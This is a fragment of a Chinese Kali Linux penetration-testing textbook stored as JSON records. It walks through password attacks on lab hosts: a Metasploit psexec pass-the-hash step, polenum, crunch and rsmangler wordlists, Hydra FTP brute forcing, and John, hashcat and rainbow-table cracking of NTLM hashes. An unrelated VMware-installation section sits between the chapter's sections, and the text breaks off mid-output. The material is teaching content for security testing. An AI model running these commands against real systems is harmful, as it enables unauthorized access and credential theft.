msf5 exploit(psexec) > set SMBUser bob #设置SMB用户 SMBUser => alice msf5 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee: 22315d6ed1a7d5f8a7c98c40e9fa2dec #设置SMB密码 SMBPass => aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec （4）启动攻击。执行命令如下： msf5 exploit(psexec) > exploit"},
    {"text": "未知 4.1.3 Windows密码策略 Windows密码策略是为了强制用户设置一个更加安全的密码，以提高安全性。通常人们为了方便，往往会将密码设置得简单。这样使渗透测试者很容易就能猜测出密码，或者利用一些密码暴力破解工具破解出其密码。通过启用Windows密码策略，用户就可以设置更复杂的密码，以提高安全性。 1.设置Windows密码策略 为了使用户密码更加安全，这里将介绍设置Windows密码策略的方法。具体操作步骤如下： （1）同时按Win+R键，将弹出“运行”对话框，如图4.1所示。 （2）在对话框中输入gpedit.msc命令，将弹出“本地组策略编辑器”对话框，如图4.2所示。 （3）在左侧栏依次选择“计算机配置”|“Windows设置”|“安全设置”选项，将显示安全选项列表，如图4.3所示。 图4.1 “运行”对话框 图4.2 “本地组策略编辑器”对话框 图4.3 安全选项列表对话框 （4）在安全选项列表中选择“账户策略”，将显示账户策略选项列表，如图4.4所示。 图4.4 “账户策略”选项列表 （5）从该对话框中可以看到，主要包括“密码策略”和“账户锁定策略”两个选项。单击“密码策略”选项，将显示“密码策略”选项列表，如图4.5所示。 图4.5 “密码策略”选项列表 （6）从中可以看到所有的密码策略选项。用户通过双击每个策略选项，即可修改其配置。其中，每个密码策略选项的含义如下： ·密码必须符合复杂性要求：设置是否启用密码复杂性。默认是没有启用。启用该配置项后，设置的密码不能包含用户名或者用户全名中超过两个连续字符的部分；密码至少有6个字符长度；密码包括至少三类字符，如英文大写字母、英文小写字母、数字和特殊符号（如!、$、#等）。 ·密码长度最小值：设置密码包含的最少字符数，可以设置1～14个字符。一般建议最小值为7。如果设置为0，则表明不要求密码。 ·密码最短使用期限：设置用户更改某个密码之前必须使用该密码的天数。其中，设置的值范围为1～998。如果设置为0，则允许随时更改密码。 ·密码最长使用期限：设置密码的过期天数。也就是说该天数一到就必须更改密码。其中，设置值的范围为1～999。如果设置为0，表示密码永不过期。 ·强制密码历史：表示强制旧密码不会被重复使用，从而提升账户安全性。 ·用可还原的加密来存储密码：启用该策略后，将会把密码以明文的形式保存，而不是加密保存。这将会严重损害账户密码的安全性，除非是某些重要的应用程序需要访问明文的密码，否则应该禁用该策略。 此时，用户即可根据自己的习惯设置该密码策略，效果如图4.6所示。 （7）此时就成功启动了密码复杂性要求，而且密码最小长度为7。 2.探测Windows密码策略 当用户在实施密码暴力破解时，需要一个强大的字典。如果用户了解一个目标使用的密码策略，则可以创建更精准的密码字典，以便加快密码破解。Kali Linux提供了一个Windows密码策略提取工具polenum。该工具将使用Python的impacket库，从Windows内核安全机制中获取密码策略。polenum工具的语法格式如下： polenum [-h] [--username USERNAME] [--password PASSWORD] [--domain DOMAIN] [--protocols [PROTOCOLS [PROTOCOLS ...]]] [enum4linux] polenum工具支持的选项及含义如下： ·-h：显示帮助信息。 ·--username USERNAME：指定用户名。 ·--password PASSWORD：指定密码。 ·--domain DOMAIN：指定域名或IP地址。 ·--protocols [PROTOCOLS [PROTOCOLS]：指定协议类型。其中，可指定的协议类型为'445/SMB'或'139/SMB'。 ·[enum4linux]：表示指定目标的缩写形式，格式为username:password@IPaddress。 图4.6 设置密码策略 【实例4-2】 下面通过SMB协议提取目标主机192.168.1.5中的密码策略。执行命令如下： root@daxueba:~# polenum --username test --password 123456 --domain 192.168.1.5 --protocols '445/SMB' [+] Attaching to 192.168.1.5 using test:123456 [+] Trying protocol 445/SMB... #协议类型 [+] Found domain(s): #找到的域主机 [+] Test-PC [+] Builtin [+] Password Info for Domain: Test-PC #域信息 [+] Minimum password length: 7 #密码的最小长度 [+] Password history length: None #密码历史长度 [+] Maximum password age: 41 days 23 hours 53 minutes #密码最长使用期限 [+] Password Complexity Flags: 000001 #密码复杂度 [+] Domain Refuse Password Change: 0 #禁止修改域密码 [+] Domain Password Store Cleartext: 0 #域密码明文存储 [+] Domain Password Lockout Admins: 0 #域密码锁定管理 [+] Domain Password No Clear Change: 0 #域密码没有发生变化 [+] Domain Password No Anon Change: 0 #域密码没有立刻发生改变 [+] Domain Password Complex: 1 #域密码复杂度 [+] Minimum password age: 9 days 23 hours 57 minutes #密码最短使用期限 [+] Reset Account Lockout Counter: 30 minutes #重置账户锁定计算器 [+] Locked Account Duration: 30 minutes #锁定账户持续的时间 [+] Account Lockout Threshold: None #账户锁定阈值 [+] Forced Log off Time: Not Set #强制注销时间 从输出的信息中可以看到Windows主机的域用户密码和普通密码策略信息。根据密码策略，就可以创建对应的密码字典，然后可以使用该字典实施暴力破解。 未知 4.2 准备密码字典 当用户了解了Windows的密码类型和密码策略后，就可以准备密码字典了。本节将介绍一些创建密码字典的方法。"},
    {"text": "未知 4.2.1 Kali Linux自有密码字典 Kali Linux默认自带了一些密码字典，可以供用户使用。其中，提供该密码字典的软件为wordlists，默认安装在/usr/share/wordlists目录中。当用户安装该字典后，默认将提供一个非常大的通用密码字典rockyou.txt.gz，而且还会与其他工具的字典都建立软连接，如dnsmap.txt、nmap.lst等。用户可以使用ls命令查看。例如： root@daxueba:~# cd /usr/share/wordlists/ root@daxueba:/usr/share/wordlists# ls -l 总用量 52108 lrwxrwxrwx 1 root root 25 8月 2 18:59 dirb -> /usr/share/dirb/ wordlists lrwxrwxrwx 1 root root 30 8月 2 18:59 dirbuster -> /usr/share/ dirbuster/wordlists lrwxrwxrwx 1 root root 35 8月 2 18:59 dnsmap.txt -> /usr/share/ dnsmap/wordlist_TLAs.txt lrwxrwxrwx 1 root root 41 8月 2 18:59 fasttrack.txt -> /usr/ share/set/src/fasttrack/ wordlist.txt lrwxrwxrwx 1 root root 45 8月 2 18:59 fern-wifi -> /usr/share/ fern-wifi-cracker/extras/wordlists lrwxrwxrwx 1 root root 46 8月 2 18:59 metasploit -> /usr/share/ metasploit-framework/data/wordlists lrwxrwxrwx 1 root root 41 8月 2 18:59 nmap.lst -> /usr/share/ nmap/nselib/data/passwords.lst -rw-r--r-- 1 root root 53357329 7月 17 17:59 rockyou.txt.gz lrwxrwxrwx 1 root root 25 8月 2 18:59 wfuzz -> /usr/share/wfuzz/ wordlist 从显示的信息中可知所有密码字典的软连接。为了方便用户更好地使用这些字典，这里将介绍一下每个字典针对的渗透测试工具。 ·dirb：该密码字典用于dirb渗透测试工具。 ·dirbuster：该密码字典用于dirbuster渗透测试工具。 ·dnsmap.txt：该密码字典用于dnsmap渗透测试工具。 ·fasttrack.txt：该密码字典用于Fast-Track渗透测试工具。 ·fern-wifi：该密码字典用于fern-wifi-cracker工具。 ·metasploit：该密码字典用于Metasploit渗透测试框架。 ·nmap.lst：该密码字典用于Nmap渗透测试工具。 ·rockyou.txt.gz：通用的用户密码字典。 ·wfuzz：该密码字典用于wfuzz渗透测试工具。 提示： 如果用户的Kali Linux系统中没有自带密码的话，安装wordlists软件则可以安装其密码字典。 未知 1.4 搭建靶机 靶机是用来模拟真实目标，供用户进行测试和练习的主机。如果要实施渗透测试，则必须有攻击靶机。为了方便用户练习测试，建议使用VMware来创建靶机。VMware虚拟机软件是一个虚拟PC软件，它可以使用户在一台机器上同时运行两个或更多的Windows、DOS、Linux系统。所以，使用VMware搭建靶机更方便，用户可以同时运行多个操作系统，而且操作简单，也相当廉价。本节将介绍使用VMWare搭建靶机的方法。 未知 4.2.2 构建密码字典 用户可以根据预先了解的规则来构建密码字典。Kali Linux提供了一款专用的Crunch工具，可以用来构建密码字典。下面将介绍使用Crunch工具构建密码字典的方法。 Crunch工具的语法格式如下： crunch <min-len> <max-len> [character set] -o [file] 以上语法中的选项含义如下： ·min-len：生成密码字符串的最小长度。 ·max-len：生成密码字符串的最大长度。 ·character set：指定用于生成密码的字符集。Crunch工具默认提供的字符集保存在/usr/share/crunch/charset.lst文件中。用户可以直接使用这些字符集来生成对应的密码字典，也可以手动指定字符串。 ·-o file：指定用来保存密码的文件名。 【实例4-3】 使用Crunch指定的字符集hex-lower生成一个6～8位的密码字典，并保存到passwords.txt文件中。执行命令如下： root@daxueba:~# crunch 6 8 hex-lower -o /root/passwords.txt Crunch will now generate the following amount of data: 169607168 bytes 161 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 19136512 crunch: 100% completed generating output 从输出的信息中可以看到，将生成一个大小为161MB的字典，总共有19136512个密码。从最后一行信息可以看到，百分之百地输出了密码，即密码字典创建成功。此时，用户可以使用cat或vi命令查看生成的密码字典。输出如下： root@daxueba:~# cat passwords.txt hhhhhh hhhhhe hhhhhx hhhhh- hhhhhl hhhhho hhhhhw hhhhhr hhhheh hhhhee hhhhex hhhhe- hhhhel hhhheo hhhhew hhhher hhhhxh hhhhxe hhhhxx hhhhx- hhhhxl ...//省略部分内容 以上输出信息是生成的密码。由于章节的原因，只简单列出了几个密码。"},
    {"text": "未知 4.2.3 构建中文习惯的密码字典 一些用户习惯使用中文的拼音来设置密码，如个人姓名、单位名和小区名等。用户可以根据这些习惯，使用中文拼音来构建一个密码字典，用于实施密码破解。用户首先将习惯使用的中文拼音保存到一个文件中，然后使用rsmangler工具来构建对应的密码字典。 rsmangler是一个基于单词列表关键词生成工具，它可以读取已有字典中的单词列表，对这些单词进行各种操作，生成新的字典。下面将介绍如何使用rsmangler工具构建中文习惯的密码字典。 rsmangler工具的语法格式如下： rsmangler -f wordlist.txt -o new_passwords.txt 以上语法中的选项及含义如下： ·-f,--file：指定输入文件，即用户收集到的密码单词。 ·-o,--output：指定生成的字典文件名。 当用户使用rsmangler工具创建字典时，默认将应用所有的规则。如果用户不想应用某项规则的话，通过相应的选项可以关闭。rsmangler默认的规则及选项含义如表4.4所示。 表4.4 rsmangler的默认规则及含义 【实例4-4】 使用rsmangler工具生成字典。其中，指定读取的字典文件为wordlists.txt；生成的新字典文件为pass.txt。执行命令如下： root@daxueba:~# rsmangler -f wordlists.txt -o pass.txt 执行以上命令后，rsmangler工具将应用所有的规则来组合字典中的单词，并生成新的字典文件。当成功生成字典后，可以使用cat命令进行查看。输出如下： root@daxueba:~# cat pass.txt admin daxueba test xiaohong admindaxueba admintest adminxiaohong daxuebaadmin daxuebatest daxuebaxiaohong testadmin testdaxueba testxiaohong xiaohongadmin xiaohongdaxueba xiaohongtest admindaxuebatest admindaxuebaxiaohong admintestdaxueba admintestxiaohong adminxiaohongdaxueba …//省略部分 从输出的信息中可以看到生成的密码字典。 未知 4.3 在线破解 当用户准备好密码后，则可以开始实施密码攻击了。本节将介绍使用一些在线破解的密码工具，对目标主机的服务实施暴力破解。"},
    {"text": "未知 4.3.1 使用Hydra工具 Hydra是由著名的黑客组织THC开发的一款开源的暴力密码破解工具。该工具功能非常强大，几乎支持所有协议。该工具支持图形界面和命令行模式的运行方式，下面将分别介绍如何使用这两种模式对密码实施暴力破解。 1.图形界面 【实例4-5】 下面将使用Hydra工具尝试破解FTP服务的登录用户及密码。具体操作步骤如下： （1）启动Hydra工具的图形界面。在菜单栏中，依次选择“应用程序”|“密码攻击”|“在线攻击”|hydra-gtk命令，将弹出xHydra对话框，如图4.7所示。 （2）在其中指定目标主机地址、攻击的服务端口和协议等。本例中指定的目标地址为192.168.1.3，端口为21，协议为ftp，如图4.8所示。 （3）选择Passwords标签，打开密码设置选项卡，如图4.9所示。 图4.7 xHydra主界面 图4.8 Target选项卡 （4）在其中指定用于暴力破解的用户字典和密码字典。这里指定使用的用户名字典文件为/root/users.txt；密码字典为/root/passwords.txt。然后选择Start标签打开启动选项卡，单击Start按钮，开始暴力破解密码。破解成功后，显示结果如图4.10所示。 图4.9 密码设置选项卡 图4.10 启动选项卡 （5）从结果中可以看到，成功破解出了两个登录FTP服务用户的密码。其中，用户名分别为Test和test，密码都为123456。 2.命令行模式 Hydra工具的语法格式如下： hydra [选项] PROTOCOL://TARGET:PORT/OPTIONS Hydra工具常用的命令选项及含义如下： ·-s <PORT>：用来指定服务器的端口。如果目标服务使用了非标准端口的话，则可以使用该选项指定其端口。 ·-l <LOGIN>,-L <FILE>：指定登录的用户名或文件。 ·-p <PASS>,-P <FILE>：指定密码或文件。 ·-e <ns>：指定附加检测选项。其中，n表示空密码探测，s表示使用指定用户和密码试探。 ·-C <FILE>：使用文件格式代替使用-L或-P指定的用户名和密码。其中，该文件的格式为login:pass。 ·-f：找到正确的用户名/密码对后停止攻击。 【实例4-6】 暴力破解目标主机192.168.1.3的FTP服务登录用户名和密码。执行命令如下： root@daxueba:~# hydra 192.168.1.3 -L users.txt -P passwords.txt ftp Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-08-13 16:43:35 [DATA] max 16 tasks per 1 server, overall 16 tasks, 187 login tries (l:11/p:17), ~12 tries per task [DATA] attacking ftp://192.168.1.3:21/ [21][ftp] host: 192.168.1.3 login: Test password: 123456 [21][ftp] host: 192.168.1.3 login: test password: 123456 [STATUS] 139.00 tries/min, 139 tries in 00:01h, 48 to do in 00:01h, 16 active [STATUS] 90.00 tries/min, 180 tries in 00:02h, 16 to do in 00:01h, 16 active 1 of 1 target successfully completed, 2 valid passwords found [WARNING] Writing restore file because 5 final worker threads did not complete until end. [ERROR] 5 targets did not resolve or could not be connected [ERROR] 16 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-08-13 16:46:17 从输出的信息中可以看到，已成功破解出了可以登录FTP服务的用户名和密码。"},
    {"text": "未知 4.3.2 使用findmyhash findmyhash是一款哈希值破解工具。该工具将用户提供的哈希密文提交给国外的哈希收录网站进行查询。如果网站有对应的哈希值，就可以返回对应的明文密码。使用该工具时，用户需要指定密文的哈希算法类型。findmyhash工具的语法格式如下： findmyhash <algorithm> OPTIONS 以上语法中，参数algorithm表示指定破解的密码算法类型，支持的算法有MD4、MD5、SHA1、SHA224、SHA256、SHA384、SHA512、RMD160、GOST、WHIRLPOOL、LM、NTLM、MYSQL、CISCO7、JUNIPER、LDAP_MD5和LDAp_SHA1。OPTIONS表示可用的选项。findmyhash工具中常用的命令选项及含义如下： ·-h <hash_value>：指定破解的哈希值。 ·-f <file>：指定破解的哈希文件列表。 ·-g：如果不能破解出哈希密码，将使用Google搜索并显示结果。该选项只能和-h选项一起使用。 【实例4-7】 使用findmyhash工具破解LM算法加密的哈希密码。执行命令如下： root@daxueba:~# findmyhash LM -h 44efce164ab921caaad3b435b51404ee:32ed87 bdb5fdc5e9cba88547376818d4 Cracking hash: 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547 376818d4 Analyzing with hashcrack (http://hashcrack.com)... ... hash not found in hashcrack Analyzing with ophcrack (http://www.objectif-securite.ch)... ... hash not found in ophcrack Analyzing with c0llision (http://www.c0llision.net)... ... hash not found in c0llision Analyzing with fox21 (http://cracker.fox21.at)... ... hash not found in fox21 Analyzing with nicenamecrew (http://crackfoo.nicenamecrew.com)... ... hash not found in nicenamecrew Analyzing with Windows Hashes Repository (http://nediam.com.mx)... ... hash not found in Windows Hashes Repository The following hashes were cracked: ---------------------------------- NO HASH WAS CRACKED. 从以上输出信息中可以看到，findmyhash工具依次尝试将哈希密码提交到不同的网站进行查询，但是最后没有找到对应的结果。如果破解成功，findmyhash工具将会显示破解出的密码。 未知 4.4 离线破解 对应一些不太容易破解的密码，用户可以找一台空闲主机实施离线破解。本节将介绍一些离线破解工具及使用方法。 未知 4.4.1 使用John the Ripper工具 John the Ripper是一个快速的密码破解工具，用于在已知密文的情况下尝试破解出明文。它支持目前大多数的加密算法，如DES、MD4和MD5等。同时，它可以运行在多种不同类型的系统架构中，如UNIX、Linux、Windows、DOS模式、BeOS和OpenVMS。在实际应用中，它常用来破解UNIX/Linux系统密码。除此之外，它还支持Windows LM散列，以及社区增强版本中的其他哈希和密码。下面将介绍使用John the Ripper工具破解哈希密码的方法。 当用户获取哈希密码后，就可以使用John the Ripper工具来破解了。这里将指定使用密码字典passwords.txt破解winhash.txt哈希密码。执行命令如下： root@daxueba:~# john --wordlist=/root/passwords.txt /root/winhash.txt --format=NT Using default input encoding: UTF-8 Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status (*disabled* Guest) 123456 (Administrator) 2g 0:00:00:00 DONE (2019-08-13 18:27) 200.0g/s 1700p/s 1700c/s 5100C/s root..daxueba! Warning: passwords printed above might not be all those cracked Use the \"--show --format=NT\" options to display all of the cracked passwords reliably Session completed 从输出的信息中可以看到，成功破解出了用户Administrator的密码，该用户的密码为123456。"},
    {"text": "未知 4.4.2 使用Johnny暴力破解 Johnny是基于John the Ripper开发的跨平台的开源图形界面化工具。下面将介绍使用Johnny工具暴力破解密码的方法。 【实例4-8】 使用Hohnny暴力破解密码。具体操作步骤如下： （1）启动Johnny工具。在菜单栏中依次选择“应用程序”|“密码攻击”|Johnny命令，将弹出如图4.11所示的窗口。 图4.11 Johnny主窗口 （2）在该窗口中单击Open password file按钮，将展开一个下拉菜单，如图4.12所示。 图4.12 下拉菜单 （3）在其中选择Open password file (PASSWD format)命令，将弹出打开哈希密码文件对话框，如图4.13所示。 图4.13 打开哈希密码文件 （4）在该对话框中选择要暴力破解的哈希密码文件，并单击Open按钮，将开始破解密码，如图4.14所示。 图4.14 正在破解哈希密码 （5）从底部的进度条可以看到正在破解密码，其进度为33%。为了加快破解速度，用户可以进行简单设置，如指定密码字典和哈希密码格式等。例如，这里将指定一个密码字典。单击左侧栏中的Options按钮，并在Attack mode中选择Wordlist标签，打开密码字典选项卡，如图4.15所示。 图4.15 设置密码字典 （6）在该选项卡中，单击Browse按钮选择密码字典。然后在菜单栏中，单击Start new attack按钮，将开始一个新的密码攻击任务。此时，单击左侧栏中的Passwords按钮，即可看到破解出的密码，如图4.16所示。 图4.16 破解出的密码 （7）从显示结果中可以看到，成功破解出了用户Administrator和bob用户的密码。其中，Administrator的密码为123456；bob的密码为DAXUEBA。"},
    {"text": "未知 4.4.3 使用hashcat暴力破解 hashcat是一款高效的密码破解工具。该工具支持多GPU（高达128个GPU）、多哈希、多操作系统（Linux和Windows本地二进制文件）、多平台（OpenCLient和CUDA支持）、多算法等特性。下面将讲解使用hashcat工具暴力破解Windows密码的方法。 hashcat工具的语法格式如下： hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory] 其中，常用的命令选项及含义如下： ·-m：指定破解的密码类型。其中，1000表示NTLM类型；3000表示LM类型。 ·-a 0：表示使用密码字典破解。 ·-o：指定一个输出文件名。 ·--force：忽略警告信息。 【实例4-9】 使用hashcat工具暴力破解Windows下的NTLM Hash值。执行命令如下： root@daxueba:~# hashcat -m 1000 -a 0 hash.txt passwords.txt --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz, 512/1478 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Early-Skip * Not-Salted * Not-Iterated * Single-Hash * Single-Salt * Raw-Hash Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/ OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=1000 -D _unroll' Dictionary cache built: * Filename..: passwords.txt * Passwords.: 17 * Bytes.....: 122 * Keyspace..: 17 * Runtime...: 0 secs The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. 32ed87bdb5fdc5e9cba88547376818d4:123456 #破解成功 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 32ed87bdb5fdc5e9cba88547376818d4 Time.Started.....: Tue Aug 13 18:04:18 2019 (0 secs) Time.Estimated...: Tue Aug 13 18:04:18 2019 (0 secs) Guess.Base.......: File (passwords.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 54784 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 17/17 (100.00%) Rejected.........: 0/17 (0.00%) Restore.Point....: 0/17 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: root -> daxueba! Started: Tue Aug 13 18:04:17 2019 Stopped: Tue Aug 13 18:04:19 2019 从输出的信息中可以看到，成功破解出了NTLM哈希值32ed87bdb5fdc5e9cba885473 76818d4对应的密码。其中，该哈希值的密码为123456。 未知 4.5 彩虹表 彩虹表（Rainbow Table）是一种破解哈希算法的技术。该技术首先使用一定的字符集生成特定长度的密码字典。然后计算出所有密码的哈希值并保存为彩虹表文件。当破解哈希值的时候，直接查询哈希值获取对应的明文。本节将介绍如何使用彩虹表破解Windows哈希密码。"},
    {"text": "未知 1.4.1 安装VMware虚拟机软件 VMware虚拟机软件默认没有安装在任何操作系统上。如果要使用该虚拟机软件搭建靶机，则需要先安装VMware。下面将介绍安装VMware虚拟机软件的方法。 【实例1-1】 安装VMware虚拟机软件。具体操作步骤如下： （1）下载VMware虚拟机软件。其中，该软件的下载地址如下： https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html 。 在浏览器中访问该地址后，将显示如图1.1所示的界面。 图1.1 下载VMware虚拟机软件 （2）从该界面可以看到，VMware官网分别提供了Windows和Linux版本的安装包。这里将选择下载Windows版本的安装包，单击Workstation 15 Pro for Windows中的“立即下载”按钮，将开始下载VMware安装包。下载完成后，该安装包名为VMware-workstation- full-15.1.0-13591040.exe。此时，双击该安装包，将打开欢迎使用对话框，如图1.2所示。 （3）该对话框中为安装VMware Workstation的欢迎信息。单击“下一步”按钮，进入用户许可协议信息对话框，如图1.3所示。 图1.2 欢迎对话框 图1.3 许可协议 （4）该对话框中显示的是使用VMware的用户许可协议。勾选“我接受许可协议中的条款”前面的复选框，并单击“下一步”按钮，进入VMware安装位置对话框，如图1.4所示。 （5）在该对话框中可以自定义VMware的安装位置。默认情况下VMware将安装在C:\\Program Files(x86)\\VMware\\WMware Workstation目录中。如果用户希望安装到其他位置的话，单击“更改”按钮，指定安装的位置即可。单击“下一步”按钮，进入“用户体验设置”对话框，如图1.5所示。 图1.4 自定义安装位置 图1.5 “用户体验设置”对话框 （6）该对话框用来设置用户体验信息，包括启动时检查产品更新和帮助完善VMware Workstation Pro两个设置。默认是这两个选项都启用。这里使用默认设置，单击“下一步”按钮，进入“快捷方式创建”对话框，如图1.6所示。 （7）该对话框中显示了VMware Workstation的快捷方式位置，默认将在“桌面(D)”和“开始菜单程序文件夹(S)”中创建。单击“下一步”按钮，将进入准备安装VMware Workstation Pro对话框，如图1.7所示。 图1.6 设置创建快捷方式的位置 图1.7 准备安装VMware产品 （8）此时，前面的基本设置工作就完成了。单击“安装”按钮，将开始安装VMware产品。安装完成后，将显示如图1.8所示的对话框。 （9）从该对话框中可以看到VMware Workstation已安装完成。由于VMware Workstation Pro不是免费版，所以需要输入一个许可证秘钥，激活后才可以长期使用。单击“许可证”按钮，进入“输入许可证密钥”对话框，如图1.9所示。 图1.8 安装完成 图1.9 “输入许可证秘钥”对话框 （10）在该对话框中输入一个许可证秘钥后，单击“输入”按钮，进入如图1.10所示的对话框。 图1.10 安装完成向导 （11）从该对话框中可以看到，显示VMware Workstation pro安装向导已完成。单击“完成”按钮，即VMware软件安装成功。接下来，用户就可以使用该虚拟机安装操作系统了。"},
    {"text": "未知 4.5.1 获取彩虹表 如果要使用彩虹表破解，则需要获取彩虹表文件。用户可以从一些网站直接下载，也可以手动生成。其中，彩虹表支持的字符集越大、密码越长，生成的表体积也越大，破解所需时间也越长。下面介绍两种下载彩虹表的方法。 1.Ophcrack彩虹表 Ophcrack官网提供了Ophcrack工具使用的彩虹表。其下载地址为 http://ophcrack.sourceforge.net/tables.php ，如图4.17所示。 图4.17 Ophcrack彩虹表 从图4.17中可以看到，Ophcrack工具提供了不同类型的Ophcrack彩虹表，如All free XP tables、XP free samll和XP free fast等，并且显示了每个彩虹表的大小。用户可以根据需要破解的哈希密码，选择下载对应的彩虹表。图中列出了每个彩虹表对应的字符集及密码长度。在图4.17的上方构成表中，左侧显示的是每个彩虹表包括的字符集；右侧则是对话字典名及大小；下面显示了每种哈希密码字典的长度。例如，xp_special（7.5GB）表示该彩虹表大小为7.5GB，对应的字符集为特殊符号，字符集长度为1～14。为了方便帮助用户选择有效的彩虹表，下面列举出每个彩虹表支持的字符集和长度，如表4.5所示。 表4.5 彩虹表支持的字符集和长度 2.其他彩虹表 在网络上还有一些其他免费的彩虹表，其下载地址为 https://freerainbowtables.com/ 和 http://project-rainbowcrack.com/table.htm 。在浏览器中访问 https://freerainbowtables.com/ 地址后，将显示如图4.18所示的页面。 图4.18 彩虹表下载页面 该页面共包括6列，分别为Character set（字符集）、NTLM（破解NTLM哈希）、SHA-1 and MySQL SHA1（破解SAH-1哈希）、MD5（破解MD5哈希）、LM（破解LM哈希）和Half LM challenge（破解LM挑战码）。从Character set列可以看到每个彩虹表包括的字符集和密码长度。例如，名称为loweralpha#1-10的字符集，表示包括所有小写字母，字符集长度为1～10。 在浏览器中访问 http://project-rainbowcrack.com/table.htm 网址后，将显示如图4.19所示的页面。 图4.19 彩虹表下载页面 该页面包括了LM、NTLM、MD5和SHA1 4种哈希类型破解的彩虹表。其中，每个彩虹表共包括8列信息，分别是Table ID（表ID）、Charset（字符集）、Plaintext Length（字符长度）、Key Space（键值空间）、Success Rate（成功率）、Table Size（表大小）、Files（文件名）和Performance（执行情况）。此时，用户可以根据自己的需求下载对应的彩虹表。"},
    {"text": "未知 4.5.2 生成彩虹表 如果用户不想使用网络上获取的彩虹表，也可以自己手动生成彩虹表。Kali Linux中提供了一款rtgen工具，可以用来生成彩虹表。该工具生成的彩虹表包括多种算法，如LM、NTLM、MD5、SHA1和SHA256。然后使用该彩虹表就可以快速破解各类密码。rtegn工具的语法格式如下： rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_ index chain_len chain_num part_index 或者： rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_ index -bench 以上语法中的参数含义如下： ·hash_algorithm：指定使用的哈希算法。其中，可指定的值包括lm、ntlm、md5、sha1和sha256。 ·charset：指定字符集。其中，rtgen工具默认提供的字符集文件为/usr/share/rainbowcrack/charset.txt。示例如下： root@daxueba:/usr/share/rainbowcrack# cat charset.txt numeric = [0123456789] alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ] alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789] loweralpha = [abcdefghijklmnopqrstuvwxyz] loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789] mixalpha = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ] mixalpha-numeric = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789] ascii-32-95 = [ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHI JKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~] ascii-32-65-123-4 = [ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHI JKLMNOPQRSTUVWXYZ[\\]^_`{|}~] alpha-numeric-symbol32-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$ %^&*()-_+=~`[]{}|\\:;\"'<>,.?/ ] 以上输出信息显示了rtgen工具默认提供的所有字符集。 ·plaintext_len_min：指定生成的密码最小长度。 ·plaintext_len_max：指定生成的密码最大长度。 ·table_index：指定彩虹表的索引。 ·chain_len：指定彩虹链长度。 ·chain_num：指定要生成的彩虹链的个数。 ·part_index：指定块数量。 【实例4-10】 使用rtgen工具生成一个基于NTLM的彩虹表。其中，指定密码的最小长度为6，最大长度为8。执行命令如下： root@daxueba:/usr/share/rainbowcrack# rtgen ntlm numeric 6 8 0 3000 400000 0 rainbow table ntlm_numeric#6-8_0_3000x400000_0.rt parameters hash algorithm: ntlm hash length: 16 charset name: numeric charset data: 0123456789 charset data in hex: 30 31 32 33 34 35 36 37 38 39 charset length: 10 plaintext length range: 6 - 8 reduce offset: 0x00000000 plaintext total: 111000000 sequential starting point begin from 0 (0x0000000000000000) generating... 32768 of 400000 rainbow chains generated (0 m 16.1 s) 65536 of 400000 rainbow chains generated (0 m 16.0 s) 98304 of 400000 rainbow chains generated (0 m 16.0 s) 131072 of 400000 rainbow chains generated (0 m 16.2 s) 163840 of 400000 rainbow chains generated (0 m 16.0 s) 196608 of 400000 rainbow chains generated (0 m 16.0 s) 229376 of 400000 rainbow chains generated (0 m 16.0 s) 262144 of 400000 rainbow chains generated (0 m 16.2 s) 294912 of 400000 rainbow chains generated (0 m 16.2 s) 327680 of 400000 rainbow chains generated (0 m 16.2 s) 360448 of 400000 